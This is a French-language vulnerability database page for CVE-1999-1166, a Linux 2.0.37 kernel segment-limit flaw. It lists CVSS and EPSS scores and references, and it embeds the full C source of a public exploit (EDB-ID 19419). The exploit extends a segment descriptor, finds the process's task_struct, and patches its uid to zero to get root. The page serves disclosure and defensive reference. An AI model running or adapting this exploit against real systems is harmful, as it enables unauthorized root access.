CVE-1999-1166 : Détail

CVE-1999-1166

0.16%V4
Local
2001-09-12
02h00 +00:00
2024-08-01
17h02 +00:00
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Descriptions du CVE

Linux 2.0.37 does not properly encode the Custom segment limit, which allows local users to gain root privileges by accessing and modifying kernel memory.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 19419

Date de publication : 1999-07-12 22h00 +00:00
Auteur : Solar
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/523/info This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration. The exploit (local root, can be extended to also reset securelevel; will only compile with libc 5, you'd have to rip task_struct out of <linux/sched.h> for compiling with glibc): */ #define __KERNEL__ #include <linux/sched.h> #undef __KERNEL__ #include <unistd.h> #include <grp.h> #include <stdio.h> #include <signal.h> #include <sys/resource.h> void die1() { puts("\nFailed: probably not vulnerable"); exit(1); } void die2() { puts("\nVulnerable, but failed to exploit"); exit(1); } int main() { int *sp = (int *)&sp; int *d = sp; struct task_struct *task = (struct task_struct *)sp; int pid, uid; struct rlimit old, new; setbuf(stdout, NULL); printf("Searching for the descriptor... "); signal(SIGSEGV, die1); while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 && (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++; signal(SIGSEGV, die2); printf("found at %p\nExtending its limit... ", d + 2); d[2] |= 0xF0000; printf("done\nSearching for task_struct... "); pid = getpid(); uid = getuid(); if (getrlimit(RLIMIT_FSIZE, &old)) { perror("getrlimit"); return 1; } search: new = old; new.rlim_cur--; if (setrlimit(RLIMIT_FSIZE, &new)) new.rlim_cur = old.rlim_cur; do { ((int *)task)++; } while (task->pid != pid || task->uid != uid); if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search; if (setrlimit(RLIMIT_FSIZE, &old)) { perror("setrlimit"); return 1; } if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search; printf("found at %p\nPatching the UID... ", task); task->uid = 0; setuid(0); setgid(0); setgroups(0, NULL); puts("done"); execl("/usr/bin/id", "id", NULL); return 1; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.0.37

Références

http://www.securityfocus.com/bid/523
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/18156
Tags : mailing-list, x_refsource_BUGTRAQ